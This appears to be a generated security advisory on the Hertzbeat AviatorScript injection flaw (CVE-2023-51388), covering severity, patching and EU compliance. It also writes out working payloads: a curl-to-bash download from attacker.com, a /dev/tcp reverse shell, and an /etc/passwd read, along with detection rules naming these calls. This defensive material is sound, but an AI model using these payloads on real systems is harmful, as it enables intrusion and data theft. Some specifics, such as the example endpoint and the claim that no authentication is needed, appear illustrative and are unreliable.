Comprehensive Technical Analysis of EUVD-2023-56109 (CVE-2023-51388)

Hertzbeat AviatorScript Expression Injection Vulnerability

1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

EUVD-2023-56109 (CVE-2023-51388) is a critical remote code execution (RCE) vulnerability in Hertzbeat, an open-source real-time monitoring system. The flaw stems from improper handling of user-supplied expressions in CalculateAlarm.java, where the AviatorEvaluator component is used without security restrictions. AviatorScript, by default, allows arbitrary static method execution, enabling attackers to inject malicious expressions that execute system commands.

CVSS 3.1 Severity Breakdown

Metric	Value	Explanation
Attack Vector (AV)	Network (N)	Exploitable remotely over the network.
Attack Complexity (AC)	Low (L)	No special conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication or elevated privileges needed.
User Interaction (UI)	None (N)	Exploitation does not require user interaction.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable component.
Confidentiality (C)	High (H)	Attacker can exfiltrate sensitive data.
Integrity (I)	High (H)	Attacker can modify system configurations or data.
Availability (A)	High (H)	Attacker can disrupt monitoring services or execute denial-of-service (DoS).
Base Score	9.8 (Critical)	Aligns with industry standards for RCE vulnerabilities.

Risk Assessment

• Exploitability: High (publicly available PoC likely; low skill required).
• Impact: Severe (full system compromise possible).
• EPSS Score: 2% (indicates a moderate probability of exploitation in the wild).
• Exploit Maturity: Proof-of-Concept (PoC) likely exists; active exploitation possible.

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2. Potential Attack Vectors and Exploitation Methods

Attack Surface

The vulnerability is exposed via Hertzbeat’s alarm calculation engine, where user-controlled input is passed to AviatorEvaluator.execute() without sanitization or security policies.

Exploitation Steps

1. Identify Target Endpoint

   • Attackers locate the vulnerable expression evaluation interface (e.g., via API calls or web UI input fields).
   • Example: A monitoring rule or alert condition that accepts dynamic expressions.

2. Craft Malicious Expression

   • AviatorScript allows static method invocation, enabling arbitrary Java code execution.
   • Example payload:

     "new java.lang.ProcessBuilder('bash', '-c', 'curl http://attacker.com/shell.sh | bash').start()"
     

   • Alternative payloads may use:
     • Runtime.getRuntime().exec()
     • System.getProperty() for information disclosure
     • File read/write operations via java.nio.file.Files

3. Trigger Execution

   • The malicious expression is submitted via:
     • API requests (e.g., /api/alarm/calculate).
     • Web UI input fields (e.g., custom alert rules).
     • Monitoring rule configurations (if stored in a database and later evaluated).

4. Post-Exploitation

   • Remote Code Execution (RCE): Attacker gains shell access.
   • Lateral Movement: Compromised monitoring system may serve as a pivot point.
   • Data Exfiltration: Sensitive monitoring data (credentials, metrics) may be stolen.
   • Persistence: Attacker may install backdoors or cryptominers.

Exploitation Requirements

• No Authentication: The vulnerability is exploitable without credentials.
• Network Access: Attacker must reach the Hertzbeat instance (e.g., exposed web interface or API).
• No User Interaction: Exploitation is fully automated.

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3. Affected Systems and Software Versions

Vulnerable Software

• Product: Hertzbeat (real-time monitoring system)
• Vendor: Dromara
• Affected Versions: All versions prior to 1.4.1
• Fixed Version: 1.4.1 (commit 8dcf050e27ca95d15460a7ba98a3df8a9cd1d3d2)

Deployment Scenarios at Risk

• On-Premises Deployments: Self-hosted Hertzbeat instances.
• Cloud Deployments: Hertzbeat running in Kubernetes, Docker, or VMs.
• Integrated Systems: Monitoring solutions embedding Hertzbeat as a dependency.

Detection Methods

• Version Check: Verify Hertzbeat version (< 1.4.1 is vulnerable).
• Network Traffic Analysis: Look for anomalous AviatorScript expressions in HTTP requests.
• Log Analysis: Check for unexpected AviatorEvaluator invocations in application logs.
• Vulnerability Scanners: Tools like Nessus, OpenVAS, or Nuclei can detect CVE-2023-51388.

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4. Recommended Mitigation Strategies

Immediate Actions

1. Upgrade to Hertzbeat 1.4.1 or Later

   • Apply the patch from GitHub commit 8dcf050.
   • Verify the fix by ensuring AviatorEvaluator is configured with a security policy.

2. Temporary Workarounds (If Upgrade Not Possible)

   • Input Validation: Restrict expression input to a whitelist of safe functions.
   • Network Segmentation: Isolate Hertzbeat from untrusted networks.
   • WAF Rules: Deploy a Web Application Firewall (WAF) to block malicious expressions (e.g., regex filtering for java.lang.ProcessBuilder).
   • Disable Dynamic Expressions: Remove or disable features that allow user-supplied AviatorScript.

3. AviatorScript Security Hardening

   • Configure AviatorEvaluator with a sandbox policy:

     AviatorEvaluator.setOption(AviatorEvaluator.EVALUATOR_OPTION_ALLOWED_CLASS_SET, Collections.emptySet());
     AviatorEvaluator.setOption(AviatorEvaluator.EVALUATOR_OPTION_ALLOWED_METHOD_SET, Collections.emptySet());
     

   • Restrict allowed classes/methods to a minimal set (e.g., only math functions).

Long-Term Recommendations

• Secure Coding Practices:
  • Avoid dynamic code evaluation (e.g., eval()-like functions).
  • Use sandboxed expression engines (e.g., MVEL with security manager).
• Dependency Management:
  • Monitor for vulnerable dependencies (e.g., AviatorScript) via OWASP Dependency-Check.
• Runtime Protection:
  • Deploy Runtime Application Self-Protection (RASP) to detect and block exploitation attempts.
• Incident Response Planning:
  • Prepare for potential breaches (e.g., forensic analysis of compromised instances).

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5. Impact on the European Cybersecurity Landscape

Regulatory and Compliance Implications

• NIS2 Directive: Critical infrastructure operators (e.g., energy, transport, healthcare) using Hertzbeat must patch to comply with Article 21 (Vulnerability Handling).
• GDPR: Unauthorized access to monitoring data (e.g., credentials, personal data) may trigger Article 33 (Data Breach Notification).
• DORA (Digital Operational Resilience Act): Financial entities must ensure monitoring systems are resilient to such vulnerabilities.

Threat Landscape in Europe

• Targeted Sectors:
  • Critical Infrastructure: Energy, telecommunications, and healthcare monitoring systems.
  • Government: Public sector agencies using Hertzbeat for IT operations.
  • Enterprise: Large corporations with self-hosted monitoring solutions.
• Exploitation Trends:
  • Initial Access: Attackers may use this RCE to gain a foothold in networks.
  • Supply Chain Risks: Hertzbeat may be embedded in other monitoring tools, amplifying impact.
  • Ransomware: Compromised monitoring systems could be used to disable security controls before encryption.

ENISA’s Role

• Vulnerability Coordination: ENISA’s European Vulnerability Database (EUVD) ensures timely dissemination of critical vulnerabilities.
• Threat Intelligence Sharing: CERT-EU and national CSIRTs (e.g., CERT-FR, CERT-DE) may issue advisories to affected organizations.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Vulnerable Code Path:
  • CalculateAlarm.java uses AviatorEvaluator.execute() to evaluate user-supplied expressions.
  • No security policy is applied, allowing arbitrary static method execution.
• AviatorScript Behavior:
  • By default, AviatorScript permits reflection-based method calls (e.g., java.lang.Runtime.exec()).
  • Example vulnerable code snippet:

    String expression = request.getParameter("expression"); // User-controlled input
    Object result = AviatorEvaluator.execute(expression);  // Unsafe execution
    

Exploitation Proof of Concept (PoC)

1. Simple RCE Payload:

   "new java.lang.ProcessBuilder('id').start().getInputStream().readAllBytes()"
   

   • Executes id command and returns output.

2. Reverse Shell Payload:

   "new java.lang.ProcessBuilder('bash', '-c', 'bash -i >& /dev/tcp/attacker.com/4444 0>&1').start()"
   

   • Establishes a reverse shell to attacker.com:4444.

3. File Read Payload:

   "java.nio.file.Files.readAllBytes(java.nio.file.Paths.get('/etc/passwd'))"
   

   • Exfiltrates /etc/passwd.

Forensic Indicators of Compromise (IoCs)

• Logs:
  • Unusual AviatorEvaluator invocations in application logs.
  • Suspicious process executions (e.g., bash, curl, wget).
• Network:
  • Outbound connections to attacker-controlled IPs.
  • Unexpected HTTP requests containing AviatorScript expressions.
• Filesystem:
  • Unauthorized file modifications (e.g., /tmp, web root).
  • Persistence mechanisms (e.g., cron jobs, web shells).

Detection and Hunting Queries

• SIEM Rules (e.g., Splunk, ELK):

  index=hertzbeat_logs "AviatorEvaluator.execute" AND (expression="*java.lang.ProcessBuilder*" OR expression="*Runtime.getRuntime()*")
  

• YARA Rule for Malicious Expressions:

  rule Hertzbeat_AviatorScript_RCE {
      strings:
          $s1 = "java.lang.ProcessBuilder"
          $s2 = "Runtime.getRuntime().exec"
          $s3 = "new java.io.File"
      condition:
          any of them
  }
  

• Network Signatures (Snort/Suricata):

  alert tcp any any -> $HERTZBEAT_SERVERS $HTTP_PORTS (msg:"Hertzbeat AviatorScript RCE Attempt"; flow:to_server,established; content:"AviatorEvaluator.execute"; pcre:"/java\.lang\.(ProcessBuilder|Runtime)/"; sid:1000001; rev:1;)
  

Patch Analysis

• Fix Commit: 8dcf050
  • Key Changes:
    • Added security policy to AviatorEvaluator to restrict dangerous classes/methods.
    • Implemented input validation for alarm expressions.
    • Introduced sandboxing for dynamic evaluations.

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Conclusion

EUVD-2023-56109 (CVE-2023-51388) represents a critical RCE vulnerability in Hertzbeat with severe implications for European organizations. Given its CVSS 9.8 score, low exploitation complexity, and publicly available PoC potential, immediate patching is mandatory. Security teams should:

1. Upgrade to Hertzbeat 1.4.1 or apply mitigations.
2. Monitor for exploitation attempts using SIEM and IDS rules.
3. Review compliance with NIS2, GDPR, and DORA requirements.

Failure to address this vulnerability could result in full system compromise, data breaches, and regulatory penalties. Organizations are advised to treat this as a high-priority incident response scenario.